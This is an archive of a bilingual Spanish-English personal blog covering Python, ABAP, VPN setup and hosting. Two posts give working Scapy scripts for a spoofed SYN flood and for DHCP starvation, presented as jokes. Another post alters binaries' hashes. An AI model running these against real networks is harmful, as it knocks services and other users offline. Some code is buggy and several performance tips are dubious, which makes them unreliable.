viernes, 18 de octubre de 2013

Punteros en Python (Pointers in Python)

En realidad en Python todo son punteros he aquí una prueba sencilla:
In Python all are pointers here's a simple example:
a=1
id(a) # posicion 11111
b=2
id(b) # posicion 22222
Los dos apuntan a posiciones distintas, pero....
They point to different positions, but ....
id(a) # posicion 11111
b=a
id(b) # posicion 11111
TACHAN!!! B apunta a la misma posición que A. De todas formas si ahora modificamos el valor de B el valor de A no varía. Para lograr simular un puntero de verdad. Tenemos que hacer el siguiente apaño.
TACHAN! B has the same position as A. But if we change B, A does not change. To simulate this we have to do ...
class ref:
    def __init__(self, obj): self.obj = obj
    def get(self):    return self.obj
    def set(self, obj):      self.obj = obj

a = ref(1)
b = a
print a.get()  # 1
print b.get()  # 1

b.set(2)
print a.get()  # => 2
print b.get()  # => 2
happy coding ;)

lunes, 14 de octubre de 2013

Busquedas binarias en Python (Binary search in Python)

Hoy os presento 3 sencillos casos de búsqueda binaria. Antes de usar este sencillo algoritmo necesitamos una lista ordenada. Mi primer ejemplo con un árbol.
Today i present three cases of simple binary search. Before using this simple algorithm we need an ordered list. My first example with a tree.
class Node:
    def __init__(self, val):
        self.l_child = None
        self.r_child = None
        self.data = val

def binary_insert(root, node):
    if root is None:
        root = node
    else:
        if root.data > node.data:
            if root.l_child == None:
                root.l_child = node
            else:
                binary_insert(root.l_child, node)
        else:
            if root.r_child == None:
                root.r_child = node
            else:
                binary_insert(root.r_child, node)

def searchNode(root,search):
    if not root:
        return        
    searchNode(root.r_child,search)
    if root == search:
        print(root.data)
    searchNode(root.l_child,search)

def resultUp(r,node):
    if not r:
        return
    print(r.data)
    if r == node:
        return
    resultUp(r.r_child,node) 

def resultPointToPoint(ini,fin):
    if not ini:
        return 
    if ini == fin:
        print(ini.data)
        return
    print(ini.data)
    resultPointToPoint(ini.r_child,fin)
    resultPointToPoint(ini.l_child,fin)

Example:
r = Node(0)
n1= Node(1)
n2= Node(2)
n3= Node(3)
n4= Node(4)
n5= Node(5)
n6= Node(6)
n7= Node(7)
n8= Node(8)

binary_insert(r,n1)
binary_insert(r,n2)
binary_insert(r,n3)
binary_insert(r,n4)
binary_insert(r,n5)
binary_insert(r,n6)
binary_insert(r,n7)
binary_insert(r,n8)


print("Search n1")
searchNode(r,n1)

print("n2 to n5")
searchPointToPoint(r,n2,n5)

print("n5 route to r")
resultUp(r,n5)

Este ejemplo es el método más complejo para implementarlo. Ahora os muestro otro caso de busqueda binaria más simplificada:
This example is the most complex to implement. Now I show another case of more simplified binary search:
import random

def binary_search(the_array, the_key, imin, imax):
    while imax >= imin:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] < the_key:
            imin = imid + 1
        elif the_array[imid] > the_key:
            imax = imid - 1
        else:
            return imid
    return None

Example:
print (binary_search(range(0,1000),21,0,1000))

Por último el mismo caso que el anterior pero usando la recursividad:
Finally the same case as above but using recursion:
import random

def binary_search_recur(the_array, the_key, imin, imax):
    if (imax < imin):
        return None
    else:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] > the_key:
            return binary_search_recur(the_array, the_key, imin, imid-1)
        elif the_array[imid] < the_key:
            return binary_search_recur(the_array, the_key, imid+1, imax)
        else:
            return imid

Example:
print (binary_search_recur(range(0,1000),21,0,1000))

Y con estos sencillos ejemplos me despido hasta la siguiente entrada.
And with these simple examples I say goodbye until the next entry.

viernes, 20 de septiembre de 2013

bye bye 1and1. Hola DigitalOcean y Namecheap









El titulo lo dice todo. ¡Oficialmente dejo 1and1! El cambio no será de golpe, dejaré que finalice las suscripciones de mis productos así voy migrando todos los datos poco a poco y de forma ordenada. (la fecha limite 1/11/2013)

No voy a entrar en mucho detalle pero ya tengo programado mi planing de migración. Está claro que el cambio es para mejor. Era cómodo tener un servicio que te hacia "todo" pero las limitaciones y prohibiciones de 1and1, en más de una ocasión me han provocado alguna riña con el servicio técnico. Por otro lado el servicio de atención al cliente no ha mejorado con los años. Sencillamente no cumple las expectativas esperadas. 1and1 presume de profesionalidad y que es un servicio de calidad y moderno. No voy a entrar en profesionalidad sólo comentaré "calidad y moderno". Las políticas y restricciones de seguridad son muy puñeteras. Las he estado soportando porque pensaba que con el tiempo mejorarían y ampliarían horizontes.

"Ofrecen un entorno estable" en varias ocasiones he llegado a estar semanas con todos mis servicios web caídos. Tampoco me dieron ninguna justificación ni información por su parte.

"Mejoran y sacan ¡nuevos! productos" para instalar ciertos frameworks he tenido que hacer MAGIA para que funcionen. Es más, yo desde que uso Symphony no he sido capaz de actualizar a la versión 2. Os podéis hacer una idea del problema que supone tener entornos completamente desactualizados. No me vale que me ofrecíais un servicio que no puedo tenerlo actualizado. En mi opinión mantener los servidores actualizados.

Lo gracioso que si necesitas algún servicio o que te habiliten/actualicen alguna funcionalidad o paquete del cual no disponen en la tienda, no te mandan a la mierda, te ofrecen sus servidores dedicados,virtuales.... OOOO GRACIAS!!! y por que no actualizáis vosotros! que cuando sale un update de mysql o apache tenemos que esperar 5 años para poder disfrutar de ella.

Después de este desahogo.

Como ya he dicho antes, todos los datos los migraré a servidores o Droplets como lo llaman Digital Ocean. Lo descubrí gracias a un compañero y la verdad me ha sorprendido el precio de las máquinas, su calidad y la libertad para crearte tu entorno deseado. Por ahora lo veo un poco para desarrolladores con cierto nivel y conocimiento, o para empresas. Por otro lado se ve que van sacando opciones predefinidas para ampliar al público menos experimentado.

PEROOO... Amazon AWS hace algo parecido??? si... pero la factura a veces te asusta.

Desde hace un tiempo ya tenia claro que algún día tenia que migrar y pasarme a un servicio mejor. Y en mi opinión Digital Ocean supera con creces mis expectativas joder si es que ¡¡Usa discos duros SSD!! y el precio por hora está más que genial!!!

Muy bien, tengo el servidor y el espacio pero... y los dominios?? Namecheap sencillamente por unanimidad donde sino?


miércoles, 21 de agosto de 2013

De risas, con humor y Scapy (II)

Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.

Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como "Egunon macarrones" y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!

#! /usr/bin/env python
import sys
import os
from scapy.all import *

victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
        hilos=int(hilos)
except:
        hilos=0
print hilos

while hilos > 0:
        if os.fork() == 0:
                os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
        hilos-=1

ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags="S"))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
        os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
exit()

La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:
IP= dirección IP de la victima
PUERTO= servicio a atacar 80 el HTTP por ejemplo
"MENSAJE"= texto que se enviará junto con el paquete
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.
./simulaDDOS.py 192.168.1.100 80 "Egunon macarrones" 2
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.

Un saludo.

martes, 20 de agosto de 2013

OpenERP vs SAP: entorno

Mi nueva sección y creo que está va ser la más polémica. Voy a enfrentar OpenERP contra SAP. Sacaré todas mis malas, buenas, impresiones... de estos dos entornos.

Resumen rápido!!!
Uno de código abierto OpenERP y SAP es privativo. Para los de la ESO uno es "gratis" y el otro de pago. Están orientados para que se usen en entornos empresariales, y facilitar distintos aspectos como el sistema de ventas, finanzas...

Comenzamos... bueno empezaré diciendo que a día de hoy no he conocido nada que no se pueda hacer en los dos entornos. Con OpenERP se crean módulos en Python y con SAP compras los módulos que necesitas para crear aplicaciones en el lenguaje ABAP por lo general.

-OpenERP al ser Python puedes calzarlo con cualquier otro entorno ya que es un lenguaje multiplatafrorma.
-SAP no tiene esa libertad de calzarlo en cualquier entorno, puedes comprar licencia para la SDK y conectarlo con Java y .NET por suerte Java tiene multitud de librerías con las que puedes comunicarlo con otros entornos.

Así que se podría decir que en este primer tiempo quedan en empate. Un poco justo por parte de SAP ya que tiene que hacer escala pero bueno.

Sobre el tema del soporte sin duda SAP lo tiene 24horas. OpenERP también puedes contratarlo y listo y si no quieres gastar un duro hay comunidades dispuestas a echarte una mano. Pero eso si... Ninguno de los dos soportes cubre modificaciones de métodos, funciones.. que pertenezcan al núcleo del software. Vamos una regla de oro "Ni se os ocurra modificar nada que no hayas creado tu, sin permiso." Es posible que pierdas en el caso de haberlo pagado el soporte o es posible que el código que has copiado de internet que modificaba partes el núcleo no era tan bueno como decían.

Documentación hay el minipunto está a favor y sin duda de OpenERP. La ayuda en SAP es toda en ingles, los mejores foros de ayuda y sitios es todo en ingles. Si no ponemos el idioma como impedimento, decir que la ayuda escasea mucho, usar el clásico F1 no está mal y en muchas ocasiones es lo mejor que te puedes encontrar. En internet hay poco y aun peor si no sabes buscar muy concretamente lo que necesitas.
OpenERP tienes de todo, ejemplos comunidades, módulos publicados por desarrolladores. Y todo gratis. Bueno para no pillarme la mano diré que en gran parte todo gratuito y al alcance de cualquiera.

A la hora de desarrollar ya os adelanto que el minipunto va para OpenERP de nuevo. Eclipse, Netbeans e incluso cualquier editor de texto. Puede ser usado para desarrollar un módulo en OpenERP. También decir que si editas con un entorno preparado como puede ser Eclipse tienes tus ayudas de código y otras ventajas. Vamos quiero decir que puedes elegir el entorno que cada desarrollador prefiera. La estructura del proyecto es mediante directorios y ficheros que pueden ser abiertos y editados con cualquier editor. Es muy manejable.
SAP tiene su propio editor, muy profesional y completo. Pero solo hay ese. Es más, en transacciones que no han sido mejoradas el editor es muy primitivo y no tan completo. No tienes esa facilidad de poder manejar los ficheros del proyecto a tu antojo. Simplemente por que el desarrollador no tiene acceso a los ficheros o a la fuente de donde se almacena. Bueno si te puedes copiar el codigo a tu fichero de texto, pero ya me meteré con ello más adelante que con copiar el código no es suficiente.

OpenERP ya acumula dos minipuntos!! 1 - 0 a favor.

Ya que he sacado el tema de los ficheros hay el minipunto es para SAP. Si es cierto eso de obligarnos a todos los desarrolladores a tener el mismo acceso a los ficheros. Es mejor, así nadie tiene una copia del fichero que otro no tiene, no hay lineas de código que uno ve pero el otro no... Si con OpenERP puedes usar GIT , SVN o cualquier otro pero por mucho COMMIT que hagas si no hay un PUSH. Nadie ve los cambios, y por lo tanto luego vienen las sorpresas. Por esa parte en mi opinión SAP gana.

Bueno, creo que por hoy es suficiente. Sobre los entornos no se me ocurre que más criticar... ya se me ocurrirá algo. De todas formas aun queda mucho que hablar. Os adelanto unos apartados (máquinas, diseño, calidad/precio, resultado final)

MARCADOR:  OpenERP 1   -   SAP 0.5

lunes, 19 de agosto de 2013

De risas, con humor y Scapy

Después de mucho tiempo vuelvo a escribir. Para comenzar con algo que considero interesante abro un apartado llamado "De risas, con humor y Scapy" será un apartado pequeñito ya que pondré unos pocos script "graciosetes". Comenzamos!!!!

Pondremos como victima el servidor DHCP de nuestro router wifi. Como sabréis un servidor DHCP se encarga de asignar a cada equipo que se conecta su configuración de red. Este va registrando las IP`s que han ido asignando a los diferentes equipos, para que nunca se repitan...

...Bien lo que realmente ocurre es que cuando un equipo se conecta y tiene en su tarjeta de red activo el DHCP este envía un paquete Broadcast que el router interpreta y responde. Y que ocurriría si por algún casual simulamos miles de paquetes falsos para que nuestro router asigne como loco a cada uno de ellos una IP? pues que nos quedamos sin direcciones y nadie se podrá "conectar". A no ser que se refresque la tabla, no se volverá a asignar nuevas direcciones. Eso si no petamos antes el router y colapsamos todo el tráfico.

Para el siguiente script como indica el titulo del post hay que tener la librería de Python Scapy ya instalada.
Y sin más lios aquí os lo paso:
#! /usr/bin/env python
import sys
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("messagetype","discover"),"end"])
sendp(dhcp_discover,loop=1)

Este pequeño script de apenas 3 lineas lo que hace es generar de forma aleatoria e infinita paquetes con direcciones MAC también aleatorias y los envía por el protocolo dhcp_discover. Así que antes de liarla pulsar CTRL + C.

viernes, 10 de mayo de 2013

servidor OpenVPN en tu Raspberry Pi

Desde hace ya un tiempo tuve la necesidad de montar una VPN. Me decanté por OpenVPN ya que siempre he pensado que era de lo más completo, en lo referente a la seguridad pudiendo acceder mediante user/pass + fichero.
Bueno pues... si haceis una simple busqueda en Google encontraremos manuales, algunos muy bien detallados y otros ... no tanto pero lo sorprendente que a todos ellos les funciona su servidor cosa que a mi nunca ha sido así. Siempre con problemas "una de las interfaces no hace MASQUERADE", "el paquete llega pero no pasa...", "me he confundido de puerto, AIS!!", "se conecta pero no navega..." Bueno un sin fin de problemas y ninguna solución. Y me he encontrado en varias ocasiones en las que ni calcando el ejemplo del propio manual he conseguido resultados. 

Pues bien! hace unos días después de insistir en mil intentos inútiles me puse manos a la obra, pasando de manuales que ya me he leído muchos y creo que ya se perfectamente que tengo que hacer. El problema que nunca conseguí resultados. Solo espero que esto no sea un manual más donde solo a mi me funciona y al resto del mundo no. Así que intentaré ser lo más claro en los detalles.

Un resumen de mi red.
(Equipo externo)=> {INTERNET} <=> [RouterWifi] <=> |Raspberry Pi| <= (Equipo local)
Por supuesto no falta decir que los equipos local y externo se conectan a la wifi. El local a la propia del router y el externo en la de un.... Starbucks para que sea molón el ejemplo. Y detalle importante OJO AL DATO la Raspberry Pi para el que no tenga una sólo tiene UNA interface FÍSICA de red ETH0. Ni una más ni una menos. Por supuesto en el router wifi tiene que estar abierto el puerto UDP 1194 o el que se configure en el servidor.

Como todos los manuales comenzamos.
apt-get install openvpn openssl
posteriormente copiamos y nos movemos de directorio
cp -R /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn
cd /etc/openvpn/easy-rsa/2.0
Y comenzamos a crear los ficheros clave y certificados
. ./vars
./clean-all
./build-ca
./build-key-server server
Ahora generamos tantas claves de clientes cómo usuarios queramos
./build-key client-movil
./build-key client-movilPapa
./build-key client-pcMio
./build-key client-pcPapa
./build-key client-invitado
Cuando tengamos todas las claves de clientes que queramos lanzamos lo siguiente
./build-dh
BUFFF esto tarda mucho. Si has generado muchas claves, vete a tomar un café o a sacar al perro.

Cuando termine si aun sigues despierto, copiamos las claves necesarias en el servidor
cd /etc/openvpn/easy-rsa/2.0/keys
cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn
Copiamos los ficheros clave de cada cliente.
Lo guardamos en nuestra propia carpeta. Así que en mi caso me creo una carpeta
mkdir /home/endika/MisClavesVPN
y copio en ella
cp client*.crt, client*.key ca.crt /home/endika/MisClavesVPN
Recodar donde lo hemos copiado que necesitaremos los ficheros para conectar los clientes

Ahora copiamos el fichero de configuración del servidor que tiene openvpn por defecto
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn
gunzip /etc/openvpn/server.conf.gz
y lo editamos para que concuerde con nuestra configuración
nano /etc/openvpn/server.conf
De ese fichero solo he modificado lo siguiente modificar la IP local del servidor Raspberry Pi
local 192.168.1.33 
El puerto si queremos modificarlo
port 1194
El protocolo si queremos cambiar UDP por TCP
proto UDP
La interface virtual si queremos modificar el nombre de TUN por TAP
dev tun
La Red virtual de la VPN
server 10.8.0.0 255.255.255.0
La Red local de nuestra wifi
push "route 192.168.1.0 255.255.255.0"
Los servidores DNS si queremos poner alguno, por ejemplo los DNS de google
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
Si os dais cuenta no tiene # ni un ; delante de la instrucción. Todo lo que lo tenga estará comentado y no surgirá efecto. Así es como queda mi fichero server.conf
local 192.168.1.33
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "route 192.168.1.0 255.255.255.0"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
client-to-client
keepalive 10 120
comp-lzo
user nobody
user nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3
Últimos detalles, vamos a permitir que nuestra máquina actúe como un router
echo 1 > /proc/sys/net/ipv4/conf/all/forwarding
Y lo más importante las reglas del IPTABLES
#!/bin/bash
echo "Limpiando IPTables"
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

echo "Configurando las interfaces eth0 y tun0"
iptables -A INPUT -i tun0 -j ACCEPT
iptables -A INPUT -i eth0 -j ACCEPT
iptables -I FORWARD -i eth0 -o tun0 -j ACCEPT
iptables -I FORWARD -i tun0 -o eth0 -j ACCEPT

iptables -A OUTPUT -m state --state NEW -o eth0 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o eth0 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

echo "para el resto de los casos aceptamos el tráfico"
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
Revisar las reglas por si el nombre de las interfaces cambia o en el caso del masquerade por si la red no es la misma. Por otro lado las normas están echas para solo una ÚNICA interface de entrada y salida eth0. Ya solo queda lanzar el servidor
/etc/init.d/openvpn start
Para evitar que sea muy largo este post en la segunda parte configuraremos los clientes para que se conecten al servidor

lunes, 6 de mayo de 2013

modificar el valor del HASH en un fichero binario

Cada vez que modificamos un fichero su HASH obtiene un valor distinto. Pero que ocurre si el fichero es un binario? pues exactamente lo mismo. Aquí tenéis un pequeño script donde podemos indicar el nombre de nuestro binario y nos crea uno nuevo con 100 caracteres aleatorios añadidos al final del mismo. Esto no altera el funcionamiento pero si el valor de su hash.
import sys,os,random

def bytes_aleatorio(n):
    return "".join(chr(random.randrange(0,256)) for i in xrange(n))

nombre=str(sys.argv[1])
fichero=open(nombre,'rb').read()
fichero_nuevo=fichero+bytes_aleatorio(100)
open(nombre+str("_new"),'wb').write(fichero_nuevo)
os.system("md5sum "+nombre)
os.system("md5sum "+nombre+"_new")
y su uso:
python modificarHash.py NombreFicheroBinario
y PUM!! el "mismo" fichero con un hash diferente.

martes, 30 de abril de 2013

SAP ABAP: Recursividad VS ejecución lineal

Realizando pruebas para ver si es viable el uso de la recursividad en SAP. Me encuentro con el siguiente resultado que os mostraré a continuación.

Para realizar la prueba ejecuto el siguiente programa muy sencillo y creo que fácilmente comprensible. Bien según mis experiencias anteriores sobre la ejecución de métodos recursivos frente a los que no lo son, me dice la experiencia que la recursividad gana en la mayoría de los casos. Y claro dentro de la burbuja del mundo SAP, yo creía que un sistema donde se ejecuta en máquinas "BRUTALES" la recursividad sería perfecto para no derrochar recursos. Así que comienzo a ejecutar lo siguiente:

DATA: lv_total  TYPE i VALUE 0,
      lv_aux    TYPE i,
      lv_inicio TYPE i,
      lv_fin    TYPE i,
      operador  TYPE i VALUE 1000.

PARAMETER lp_suma TYPE i DEFAULT 9999.

START-OF-SELECTION.

  lv_aux = lp_suma. "Almacenamos el valor
  GET RUN TIME FIELD lv_inicio.
* Metodo con secursividad --------------------------------------------------------

  PERFORM suma USING lp_suma lv_total.

*  -------------------------------------------------------------------------------
  GET RUN TIME FIELD lv_fin.
  lv_fin = ( lv_fin - lv_inicio ) / operador.
  WRITE: / '(RECURSIVO) tiempo de respuesta: ', lv_fin , ' milisegundos'.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
  WRITE: /.
  WRITE: /.
* ---------------------------------------------------------------------------------
* ---------------------------------------------------------------------------------
  lp_suma = lv_aux. "cargamos su valor
  lv_aux = lv_fin.
  lv_total = 0.
  GET RUN TIME FIELD lv_inicio.
* Metodo sin secursividad --------------------------------------------------------

  WHILE lp_suma > 0.
    lv_total = lv_total + lp_suma.
    lp_suma = lp_suma - 1.
  ENDWHILE.
  WRITE: 'resultado ', lv_total.

* --------------------------------------------------------------------------------
  GET RUN TIME FIELD lv_fin.
  lv_fin = ( lv_fin - lv_inicio ) / operador.
  WRITE: / '(NO RECURSIVO) tiempo de respuesta: ', lv_fin , ' milisegundos'.

  WRITE: /.
  WRITE: /.
  IF lv_aux < lv_fin.
    WRITE: / 'La recursividad es la mejor solución'.
  ELSEIF lv_aux = lv_fin.
    WRITE: / 'EMPATE!!!!'.
  ELSE.
    WRITE: / 'El while es la mejor solución'.
  ENDIF.

FORM suma USING lv_suma TYPE i
                lv_total TYPE i.

  IF lv_suma GT 0.
    lv_total = lv_total + lv_suma.
    lv_suma = lv_suma - 1.
    PERFORM suma USING lv_suma lv_total.
  ELSE.
    WRITE: 'resultado ', lv_total.
  ENDIF.

ENDFORM.

El programa ejecuta inicialmente una función recursiva y seguido ejecuta el mismo proceso sin aplicar recursividad. Finalmente en la pantalla muestra el resultado de la operación junto con los milisegundos que ha durado ambas. Y para mi sorpresa me encuentro lo siguiente:
resultado  49.995.000
(RECURSIVO) tiempo de respuesta:          49   milisegundos


resultado  49.995.000
(NO RECURSIVO) tiempo de respuesta:          24   milisegundos


El while es la mejor solución
Bueno para mi desgracia la recursividad no es una solución.

jueves, 25 de abril de 2013

Python excepciones, profundizando mucho más

Vale muy bien, ya sabemos cómo se usan los try. Pero..... no está mal saber que clases de excepciones estándar tenemos disponibles. Os paso un diagrama en árbol de las excepciones estándar más comunes. La más genérica es exception pero si queremos realizar diferentes tratamientos no estaría mal saber algunas más.
Exception(*)
 |
 +-- SystemExit
 +-- StandardError(*)
      |
      +-- KeyboardInterrupt
      +-- ImportError
      +-- EnvironmentError(*)
      |    |
      |    +-- IOError
      |    +-- OSError(*)
      |
      +-- EOFError
      +-- RuntimeError
      |    |
      |    +-- NotImplementedError(*)
      |
      +-- NameError
      +-- AttributeError
      +-- SyntaxError
      +-- TypeError
      +-- AssertionError
      +-- LookupError(*)
      |    |
      |    +-- IndexError
      |    +-- KeyError
      |
      +-- ArithmeticError(*)
      |    |
      |    +-- OverflowError
      |    +-- ZeroDivisionError
      |    +-- FloatingPointError
      |
      +-- ValueError
      +-- SystemError
      +-- MemoryError
Un ejemplo de su uso
parsed = False
while not parsed:
    try:
        x = int(raw_input('Mete el primer valor: '))
        y = int(raw_input('Mete el segundo valor: '))
        result= x/y
    except ValueError:
        print 'Numero introducido erroneo!!!'
    except ZeroDivisionError:
        print "dividir por CERO!! LOKO!!"
    else:
        parsed = True
        print "resultado: ", result
Si queremos provocar la ejecución de una excepción podemos usar raiser.
try:
    raise Exception()
except:
    print "ERROR: ", sys.exc_type + ":", sys.exc_value
Por último nos crearemos nuestra propia excepción.
class MyPropioError(Exception):
    def __init__(self, value):
        self.value = value
    def __str__(self):
        return repr(self.value)

try:
    raise MyPropioError("Algo muy gordo a pasado")
except MyPropioError, e:
    print 'Se ha ejecutado, value:', e.value
Esto mostrará el texto "Algo muy gordo a pasado"

Python excepciones, cómo se usan

La estructura de un try en python es la siguiente:
try:
    Sentencias que podrán dar a posible error
except IdentificarError:
    Que ejecutamos cuando se produce el error
finally:
    Sentencias que se ejecutan siempre. Exista o no el error
else:
    Sentencias que ejecutamos en caso de no existir el error
Os muestro un ejemplo clásico de la división por 0
try:
   result = 10 / 0
 except ZeroDivisionError:
      print "dividir por CERO!! LOKO!!"
 else:
      print "resultado: ", result
Si quereis entrar en más detalle. Os recomiendo Python - Errors and Exceptions

ABAP CRM: funciones estándar para sacar organización, grupo... de ventas

Desde la transacción SE37 podemos buscar la lista de todas las funciones buscando por:
CRM_MAPPING*

martes, 9 de abril de 2013

micro consejos para programadores - parte9


  1. Sí no recuerdo mal (a*a*a)*(a*a*a) es mejor que a*a*a*a*a*a está última son 5 líneas en ensamblador y la otra son 3
  2. Reutilizar variables por ejemplo de un objeto en java ejecutando de nuevo user=new Usuario() y listo para usar.
  3. Al construir una sentencia SQL son más optimas si respetamos el orden de los campos.

lunes, 8 de abril de 2013

micro consejos para programadores - parte8

Hoy extra de micro consejos

  1. Usar etiquetas eTags y expires es mejor que tener que obligar a descargar el site entero y Google te premiará.
  2. Entre los algoritmos de ordenación sort y qsort este último es mucho más rápido.
  3. Sí trabajas con ficheros es mejor cargarlo en bloques en memoria y trabajar desde hay (un clásico)

micro consejos para programadores - parte7


  1. Por supuesto tenía que decir que los métodos recursivos son mejores.
  2. Cada estilo CSS mejor en una línea que escritos en bloque. Más rápido leer una línea de un golpe que 5 o más.
  3. Usar algún loadscript para Js es una buena práctica para descargar simétricamente el contenido web.

viernes, 15 de marzo de 2013

ABAP CRM: Contar cuantos registro hay en una tabla interna

Antes de hacer un LOOP o cualquier otro bucle que se nos pueda ocurrir lanzar para conocer el numero total de registros que tenemos en nuestra tabla interna. Podemos lanzar lo siguiente:
DATA: lt_tabla TYPE TABLE OF mitabla,
      lv_total TYPE i.

"Mi SELECT
SELECT * INTO CORRESPONDING FIELDS OF TABLE lt_tabla FROM mitabla.

DESCRIBE TABLE lt_tabla LINES lv_total.
lv_total almacenará el valor total de registros.

jueves, 14 de marzo de 2013

ABAP CRM: Rellenar un campo con CEROS 0000

Un problema muy común es que al intentar pasar un parámetro a una función, está no entienda que le estamos pasando y nos salte diciendo que los tipos son incompatibles. Muchas veces si la variable está bien declarada el problema proviene de que '232425' no es lo mismo que '0000232425'
CALL FUNCTION 'CONVERSION_EXIT_ALPHA_INPUT'
  EXPORTING
    input         = lv_guid
  IMPORTING
    output        = lv_guid.
le pasamos la variable lv_guid y nos devuelve la misma variable rellenada correctamente.

miércoles, 13 de marzo de 2013

micro consejos para programadores - parte6


  1. Esto aún no lo he probado pero usar el método Pomodoro para programar es más eficiente.
  2. Es mejor un === que un if ifelse o un == en PHP.
  3. es mejor isempty que un sizeof > 0

ABAP CRM: Sacar las organización de ventas a las que pertenece uno o dos partner

A partir de ahora quiero organizar todos los métodos estándar útiles que me van saliendo a lo largo de mi día a día. Seguro que en alguna ocasión tendré que entrar yo mismo en el blog para solucionar mis dudas.

Y inicio la sección con el método para recoger las organizaciones de ventas comunes a las que pertenecen dos partner. Tan sencillo como rellenar los datos que tenemos inicialmente y el resultado aparecerá en la tabla LT_RESULT.
  CALL FUNCTION 'BAPI_BUPA_PFCT_GETFUNCTDETAIL'
    EXPORTING
      businesspartner1       = LV_PARTNER1
*     SALES_AREA             =
      PARTNERFUNCTION        = LV_FUNCTION
      BUSINESSPARTNER2       = LV_PARTNER2
*     X_INVERT_ORDER         =
*   TABLES
      DATA                   = LT_RESULT
*     RETURN                 =
.

miércoles, 13 de febrero de 2013

Detectar anomalías en la red Wifi con Raspberry Pi

Resumidamente analiza nuestra red Wifi 192.168.1.0/24 detectando direcciones MAC que no correspondan a ninguno de nuestros dispositivos y analizando los puertos que usan todas nuestras máquinas en busca de puertos que no correspondan a nuestra lista de puertos "seguros". El mayor trabajo lo hago usando el comando nmap, así que tenéis que tenerlo instalado antes de probarlo. Es muy fácil de configurar solo tenéis que rellenar la lista de las variables que se encuentran al principio con los datos correspondientes. Los datos de servidor smtp, email, contraseña... son para enviar alertas vía email a la dirección que indiquéis. Ademas de enviar alertas vía email lleva un registro en el fichero que indiquéis en fAlertas. Esto lo hago para llevar un control del programa en el caso de que si se ejecuta periódicamente con crontab por ejemplo. Poder ver en ese fichero histórico cuando se ha ejecutado, cuando ha finalizado, alertas que ha encontrado.

#!/usr/bin/env python
import os
from datetime import *
import smtplib
from email.mime.text import MIMEText

//Zona config
servSMTP='SMTP.SERVIDOR'
fromEmail="ALERTAS@CORREO.COM"
cClave="CONTRASEÑA"
toEmail="DESTINO@ALERTA.COM"
fAlertas="NombreFicheroAlertas"
ipRPI="IP.DE.RAS.PI"
myMACs = [
        "RR:RR:RR:RR:RR:RR",
        "AA:AA:AA:AA:AA:AA",
        "BB:BB:BB:BB:BB:BB",
        "CC:CC:CC:CC:CC:CC",
        "DD:DD:DD:DD:DD:DD",
        "PI:PI:PI:PI:PI:PI",
        ]

nameMACs = {
        "RR:RR:RR:RR:RR:RR":"RouterWifi",
        "AA:AA:AA:AA:AA:AA":"PC01",
        "BB:BB:BB:BB:BB:BB":"PC02",
        "CC:CC:CC:CC:CC:CC":"PHONE01",
        "DD:DD:DD:DD:DD:DD":"PHONE02",
        "PI:PI:PI:PI:PI:PI":"Raspberry Pi",
        }

myPorts = [
        20,21,
        22,
        23,
        25,587,
        80,8080,
        443,
        53,
        135,
        139,
        3128,
        ]

def mail(mensaje):
        mailServer = smtplib.SMTP(servSMTP,25)
        mailServer.ehlo()
        mailServer.starttls()
        mailServer.ehlo()
        mailServer.login(fromEmail,cClave)
        mensaje = MIMEText(str(mensaje))
        mensaje['From']= fromEmail
        mensaje['To']=toEmail
        mensaje['Subject']="Alerta Wifi"
        mailServer.sendmail(fromEmail,toEmail,mensaje.as_string())
        mailServer.close()

def registrar(texto):
        fm = open(fAlertas,"a")
        fm.write(texto)
        fm.close()

def leer(fichero):
        contenido=''
        f = open(fichero, "r")
        while True:
                linea = f.readline()
                contenido = contenido + ' ' + linea
                if not linea: break
        f.close()
        os.system("rm "+fichero)
        return contenido

def leer_simple(fichero):
        contenido=''
        f = open(fichero, "r")
        while True:
                linea = f.readline()
                if not linea: break
                contenido = linea
        f.close()
        os.system("rm "+fichero)
        return contenido

def listar(fichero):
